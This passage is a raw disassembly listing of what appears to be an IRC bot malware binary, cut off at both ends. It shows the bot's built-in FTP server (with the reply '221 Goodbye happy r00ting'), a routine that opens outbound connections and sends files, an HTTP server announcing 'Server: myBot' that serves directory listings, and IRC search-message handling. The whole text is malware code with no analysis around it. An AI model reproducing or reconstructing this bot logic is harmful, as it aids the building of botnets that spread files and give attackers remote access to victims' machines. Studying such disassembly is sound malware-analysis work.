eax, [ebp+var_124] push eax movsw call sub_417AB0 pop ecx push eax lea eax, [ebp+var_124] loc_4057A9: ; CODE XREF: sub_4053D5+423j push eax push [ebp+arg_0] call ebx ; send xor esi, esi loc_4057B1: ; CODE XREF: sub_4053D5+4F6j mov edi, [ebp+arg_0] jmp loc_4059AD ; --------------------------------------------------------------------------- loc_4057B9: ; CODE XREF: sub_4053D5+3ABj lea eax, [ebp+var_AC] push offset aList ; "LIST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4057FA push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C4] rep movsd movsw push eax lea eax, [ebp+var_C4] push eax movsb call sub_417AB0 pop ecx push eax lea eax, [ebp+var_C4] jmp short loc_4057A9 ; --------------------------------------------------------------------------- loc_4057FA: ; CODE XREF: sub_4053D5+3F9j lea eax, [ebp+var_AC] push offset aPort ; "PORT" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4058D0 lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_29C] push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_418A52 lea eax, [ebp+var_F8] push eax call sub_41781F mov edi, eax lea eax, [ebp+var_2D0] push eax call sub_41781F mov [ebp+var_8], eax push 32h lea eax, [ebp+var_F8] push esi push eax call sub_417330 add esp, 34h lea eax, [ebp+var_F8] push [ebp+var_8] push edi push offset aXX ; "%x%x\n" push eax call sub_4172B0 push 10h lea eax, [ebp+var_F8] push esi push eax call sub_418A3B add esp, 1Ch mov [ebp+var_8], eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_4172B0 add esp, 18h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" push [ebp+arg_0] call ebx ; send jmp loc_4057B1 ; --------------------------------------------------------------------------- loc_4058D0: ; CODE XREF: sub_4053D5+43Aj lea eax, [ebp+var_AC] push offset aRetr ; "RETR" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_40598B push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_8] lea eax, [ebp+var_48] push eax call sub_4059DB pop ecx cmp eax, 1 pop ecx jnz short loc_405981 call sub_405A58 cmp eax, 1 jnz loc_4059AD push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_6D8] push eax lea eax, [ebp+var_48] push dword_436F0C push eax lea eax, [ebp+var_8DC] push offset unk_42A128 push eax call sub_4172B0 add esp, 14h cmp [ebp+var_440], esi jnz short loc_405972 push esi lea eax, [ebp+var_8DC] push [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax push [ebp+var_6DC] call sub_40D679 add esp, 14h loc_405972: ; CODE XREF: sub_4053D5+578j lea eax, [ebp+var_8DC] push eax call sub_40BF6D pop ecx jmp short loc_4059AD ; --------------------------------------------------------------------------- loc_405981: ; CODE XREF: sub_4053D5+532j push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_4059AA ; --------------------------------------------------------------------------- loc_40598B: ; CODE XREF: sub_4053D5+510j lea eax, [ebp+var_AC] push offset aQuit ; "QUIT" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4059AD push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_4059AA: ; CODE XREF: sub_4053D5+28Bj ; sub_4053D5+2AFj ... push edi call ebx ; send loc_4059AD: ; CODE XREF: sub_4053D5+3DFj ; sub_4053D5+53Cj ... push 64h lea eax, [ebp+var_29C] push esi push eax call sub_417330 add esp, 0Ch loc_4059BF: ; CODE XREF: sub_4053D5+1E0j ; sub_4053D5+247j inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_405503 jmp loc_4054C8 ; --------------------------------------------------------------------------- loc_4059D1: ; CODE XREF: sub_4053D5+11Ej push 1 pop eax loc_4059D4: ; CODE XREF: sub_4053D5+D0j pop edi pop esi pop ebx leave retn 4 sub_4053D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4059DB proc near ; CODE XREF: sub_4053D5+528p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h nop call near ptr 71AB41DAh push 0 push 1 push 2 call near ptr 71AB3C22h nop push [ebp+arg_0] mov dword_436F08, eax mov [ebp+var_10], 2 nop call near ptr 71AB12F8h push [ebp+arg_4] mov [ebp+var_C], eax nop call near ptr 71AB1746h mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_436F08 nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_405A53 push dword_436F08 nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_405A53: ; CODE XREF: sub_4059DB+60j push 1 pop eax leave retn sub_4059DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405A58 proc near ; CODE XREF: sub_4053D5+534p var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 nop call near ptr 2680000h lea eax, [ebp+var_104] push offset aRb ; "rb" push eax call sub_4179A8 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_405AEF test byte ptr [esi+0Ch], 10h jnz short loc_405AD3 push edi mov edi, 400h loc_405A9B: ; CODE XREF: sub_405A58+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_418A86 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push dword_436F08 nop call near ptr 71AB1AF4h push 1 nop call near ptr 26207A4h test byte ptr [esi+0Ch], 10h jz short loc_405A9B pop edi loc_405AD3: ; CODE XREF: sub_405A58+3Bj push esi call sub_417900 pop ecx push dword_436F08 nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h push 1 pop eax loc_405AEF: ; CODE XREF: sub_405A58+35j pop esi leave retn sub_405A58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405AF2 proc near ; DATA XREF: sub_407252+333o ; sub_40EE72+54E8o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_417330 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_43AD98 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_43AE18 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_405EDD mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_4407FC[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_43ADC4 cmp eax, 0FFFFFFFFh jz loc_405EDD push 7FFFFFFFh push edi call dword_43ADC0 cmp eax, 0FFFFFFFFh jz loc_405EDD lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_43AE34 cmp eax, 0FFFFFFFFh jz loc_405EDD mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_405BC9: ; CODE XREF: sub_405AF2+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_43AD80 cmp eax, 0FFFFFFFFh jz loc_405ED8 xor esi, esi mov [ebp+var_4], esi loc_405BFF: ; CODE XREF: sub_405AF2+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_43AC90 test eax, eax jz loc_405EC3 cmp esi, [ebp+var_C] jnz short loc_405C81 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_43AE2C cmp eax, 0FFFFFFFFh jz loc_405EC3 xor ecx, ecx test ebx, ebx jbe short loc_405C53 lea edx, [ebp+var_134] loc_405C47: ; CODE XREF: sub_405AF2+15Fj cmp [edx], eax jz short loc_405C53 inc ecx add edx, 4 cmp ecx, ebx jb short loc_405C47 loc_405C53: ; CODE XREF: sub_405AF2+14Dj ; sub_405AF2+157j cmp ecx, ebx jnz short loc_405C70 cmp ebx, 40h jnb short loc_405C70 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_405C70: ; CODE XREF: sub_405AF2+163j ; sub_405AF2+168j cmp eax, [ebp+var_8] jbe loc_405EC3 mov [ebp+var_8], eax jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405C81: ; CODE XREF: sub_405AF2+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_417330 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_417330 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_43ADB0 test eax, eax jg short loc_405D14 push esi call dword_43AE30 xor ecx, ecx test ebx, ebx jbe loc_405EC3 lea eax, [ebp+var_134] loc_405CD3: ; CODE XREF: sub_405AF2+1EBj cmp [eax], esi jz short loc_405CE4 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405CD3 jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405CE4: ; CODE XREF: sub_405AF2+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405D08 lea eax, [ebp+ecx*4+var_134] loc_405CF2: ; CODE XREF: sub_405AF2+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405CF2 loc_405D08: ; CODE XREF: sub_405AF2+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405D14: ; CODE XREF: sub_405AF2+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_417330 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_417AB0 add esp, 10h test eax, eax jbe loc_405EC3 loc_405D42: ; CODE XREF: sub_405AF2+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_405DE7 mov esi, offset aGet ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_417880 pop ecx test eax, eax pop ecx jz short loc_405DBB lea eax, [ebp+var_18F0] push eax call sub_417AB0 cmp eax, 5 pop ecx jbe short loc_405DBB mov eax, offset asc_42A3B4 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_417880 pop ecx pop ecx push eax call sub_417880 pop ecx pop ecx push eax call sub_418B6E push eax lea eax, [ebp+var_23C] push eax call sub_4179C0 add esp, 10h jmp short loc_405DD2 ; --------------------------------------------------------------------------- loc_405DBB: ; CODE XREF: sub_405AF2+27Fj ; sub_405AF2+291j lea eax, [ebp+var_18F0] push offset asc_42A3B0 ; "\r\n" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_405E06 loc_405DD2: ; CODE XREF: sub_405AF2+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_417330 add esp, 0Ch or esi, 0FFFFFFFFh loc_405DE7: ; CODE XREF: sub_405AF2+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_417AB0 cmp [ebp+arg_0], eax pop ecx jb loc_405D42 jmp loc_405EC3 ; --------------------------------------------------------------------------- loc_405E06: ; CODE XREF: sub_405AF2+2DEj xor ecx, ecx test ebx, ebx jbe short loc_405E50 lea eax, [ebp+var_134] loc_405E12: ; CODE XREF: sub_405AF2+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_405E23 inc ecx add eax, 4 cmp ecx, ebx jb short loc_405E12 jmp short loc_405E53 ; --------------------------------------------------------------------------- loc_405E23: ; CODE XREF: sub_405AF2+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_405E47 lea eax, [ebp+ecx*4+var_134] loc_405E31: ; CODE XREF: sub_405AF2+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_405E31 loc_405E47: ; CODE XREF: sub_405AF2+336j dec ebx mov [ebp+var_138], ebx jmp short loc_405E53 ; --------------------------------------------------------------------------- loc_405E50: ; CODE XREF: sub_405AF2+318j mov esi, [ebp+var_4] loc_405E53: ; CODE XREF: sub_405AF2+32Fj ; sub_405AF2+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_405EBC lea eax, [ebp+var_360] push eax call sub_417AB0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_417AB0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_405EBC and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_43AE34 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_4060D0 add esp, 14h jmp short loc_405EC3 ; --------------------------------------------------------------------------- loc_405EBC: ; CODE XREF: sub_405AF2+369j ; sub_405AF2+38Fj push esi call dword_43AE30 loc_405EC3: ; CODE XREF: sub_405AF2+11Dj ; sub_405AF2+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_405BFF jmp loc_405BC9 ; --------------------------------------------------------------------------- loc_405ED8: ; CODE XREF: sub_405AF2+102j mov edi, [ebp+var_C] xor ebx, ebx loc_405EDD: ; CODE XREF: sub_405AF2+6Aj ; sub_405AF2+92j ... call dword_43AD2C push eax lea eax, [ebp+var_8F0] push offset unk_42A36C push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_405F23 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_40D679 add esp, 14h loc_405F23: ; CODE XREF: sub_405AF2+40Cj lea eax, [ebp+var_8F0] push eax call sub_40BF6D pop ecx push edi call dword_43AE30 push [ebp+var_254] call sub_417078 pop ecx push ebx call near ptr 261095Eh nop pop edi pop esi pop ebx sub_405AF2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405F4D proc near ; DATA XREF: sub_4060D0+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_417B30 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_4172B0 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_405FB3 push offset aTextHtml ; "text/html" jmp short loc_405FB8 ; --------------------------------------------------------------------------- loc_405FB3: ; CODE XREF: sub_405F4D+5Dj push offset aApplicationOct ; "application/octet-stream" loc_405FB8: ; CODE XREF: sub_405F4D+64j lea eax, [ebp+var_9C] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 26A0000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call near ptr 2690000h nop lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_406031 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4172B0 add esp, 24h jmp short loc_406052 ; --------------------------------------------------------------------------- loc_406031: ; CODE XREF: sub_405F4D+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_4172B0 add esp, 28h loc_406052: ; CODE XREF: sub_405F4D+E2j lea eax, [ebp+var_1654] push edi push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_43ADE8 cmp [ebp+var_A4], edi jnz short loc_406092 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_406A0D pop ecx pop ecx jmp short loc_4060AF ; --------------------------------------------------------------------------- loc_406092: ; CODE XREF: sub_405F4D+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_406387 add esp, 10h loc_4060AF: ; CODE XREF: sub_405F4D+143j push [ebp+var_44C] call dword_43AE30 push [ebp+var_B4] call sub_417078 pop ecx push edi nop call near ptr 261095Eh pop edi pop esi sub_405F4D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4060D0 proc near ; CODE XREF: sub_405AF2+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_417330 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_406106 push eax push offset aS_2 ; "\\%s" jmp short loc_40610F ; --------------------------------------------------------------------------- loc_406106: ; CODE XREF: sub_4060D0+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40610F: ; CODE XREF: sub_4060D0+34j lea eax, [ebp+var_10C] push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_417AB0 test eax, eax pop ecx jbe short loc_4061AA mov [ebp+arg_8], 2 loc_40613A: ; CODE XREF: sub_4060D0+D8j lea eax, [ebp+var_10C] push eax call sub_417AB0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40617A cmp [ebp+esi+var_10C], 25h jnz short loc_40617A cmp [ebp+esi+var_10B], 32h jnz short loc_40617A cmp [ebp+esi+var_10A], 30h jnz short loc_40617A inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_406194 ; --------------------------------------------------------------------------- loc_40617A: ; CODE XREF: sub_4060D0+7Aj ; sub_4060D0+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40618A push 5Ch pop eax jmp short loc_40618D ; --------------------------------------------------------------------------- loc_40618A: ; CODE XREF: sub_4060D0+B3j movsx eax, al loc_40618D: ; CODE XREF: sub_4060D0+B8j mov [ebp+ebx+var_210], al loc_406194: ; CODE XREF: sub_4060D0+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_417AB0 cmp esi, eax pop ecx jb short loc_40613A loc_4061AA: ; CODE XREF: sub_4060D0+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset aSS_2 ; "%s%s" push eax call sub_4172B0 lea eax, [ebp+var_314] push offset asc_42A660 ; "\n" push eax call sub_418B6E add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 26B0392h push 1 cmp eax, 10h pop esi jz short loc_4061FB cmp eax, 0FFFFFFFFh jnz short loc_4061FE push [ebp+arg_0] jmp loc_40627E ; --------------------------------------------------------------------------- loc_4061FB: ; CODE XREF: sub_4060D0+11Cj mov [ebp+var_4], esi loc_4061FE: ; CODE XREF: sub_4060D0+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40620B mov [ebp+var_4], esi loc_40620B: ; CODE XREF: sub_4060D0+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_406289 cmp [ebp+arg_C], edi jz short loc_40627D lea eax, [ebp+var_314] push offset asc_42A65C ; "*" push eax call sub_4179D0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_4172B0 lea eax, [ebp+var_210] push eax call sub_406ACA add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_4172B0 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_4062D8 ; --------------------------------------------------------------------------- loc_40627D: ; CODE XREF: sub_4060D0+152j push ebx loc_40627E: ; CODE XREF: sub_4060D0+126j call dword_43AE30 jmp loc_406380 ; --------------------------------------------------------------------------- loc_406289: ; CODE XREF: sub_4060D0+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 2670000h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4062D8 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_4172B0 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 26B0000h push esi mov [ebp+var_330], eax nop call near ptr 265089Dh loc_4062D8: ; CODE XREF: sub_4060D0+1ABj ; sub_4060D0+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_42A61C push eax call sub_4172B0 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_416D5C mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_4407F4[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_405F4D push edi push edi call near ptr 26A0AA3h nop mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_440804[ecx], eax jz short loc_406352 loc_406340: ; CODE XREF: sub_4060D0+280j cmp [ebp+var_318], edi jnz short loc_406380 push 5 nop call near ptr 26207A4h jmp short loc_406340 ; --------------------------------------------------------------------------- loc_406352: ; CODE XREF: sub_4060D0+26Ej push ebx call dword_43AE30 nop call near ptr 26702AAh push eax lea eax, [ebp+var_8C4] push offset unk_42A5D4 push eax call sub_4172B0 lea eax, [ebp+var_8C4] push eax call sub_40BF6D add esp, 10h loc_406380: ; CODE XREF: sub_4060D0+1B4j ; sub_4060D0+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_4060D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406387 proc near ; CODE XREF: sub_405F4D+15Ap ; sub_40EE72+49C9p var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_417330 mov edi, [ebp+arg_0] push offset asc_42A660 ; "\n" push edi call sub_418B6E add esp, 14h cmp [ebp+arg_8], ebx jz short loc_4063E6 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41782A add esp, 14h jmp loc_4064E5 ; --------------------------------------------------------------------------- loc_4063E6: ; CODE XREF: sub_406387+3Aj cmp [ebp+arg_C], ebx push edi jz loc_4064CB call sub_417AB0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 push edi call sub_417AB0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 0Ch jmp short loc_4064E5 ; --------------------------------------------------------------------------- loc_4064CB: ; CODE XREF: sub_406387+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h loc_4064E5: ; CODE XREF: sub_406387+5Aj ; sub_406387+142j lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 cmp [ebp+arg_C], ebx jz short loc_406580 push [ebp+arg_C] call sub_417AB0 cmp eax, 2 pop ecx jbe short loc_406580 push [ebp+arg_C] call sub_417AB0 sub eax, 3 pop ecx jz short loc_406531 loc_406525: ; CODE XREF: sub_406387+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_406531 dec eax jnz short loc_406525 loc_406531: ; CODE XREF: sub_406387+19Cj ; sub_406387+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_418C10 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_43ADE8 loc_406580: ; CODE XREF: sub_406387+180j ; sub_406387+18Ej lea eax, [ebp+var_388] push eax push edi nop call near ptr 26E0000h lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call near ptr 26D0000h nop test eax, eax jz loc_406970 mov edi, 1FFh loc_4065AC: ; CODE XREF: sub_406387+5E3j cmp [ebp+var_388], ebx jz loc_406958 lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_406958 lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_406958 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 26C04E8h lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax nop call near ptr 26C0000h mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_406621 mov ecx, offset aAm ; "AM" loc_406621: ; CODE XREF: sub_406387+293j cmp 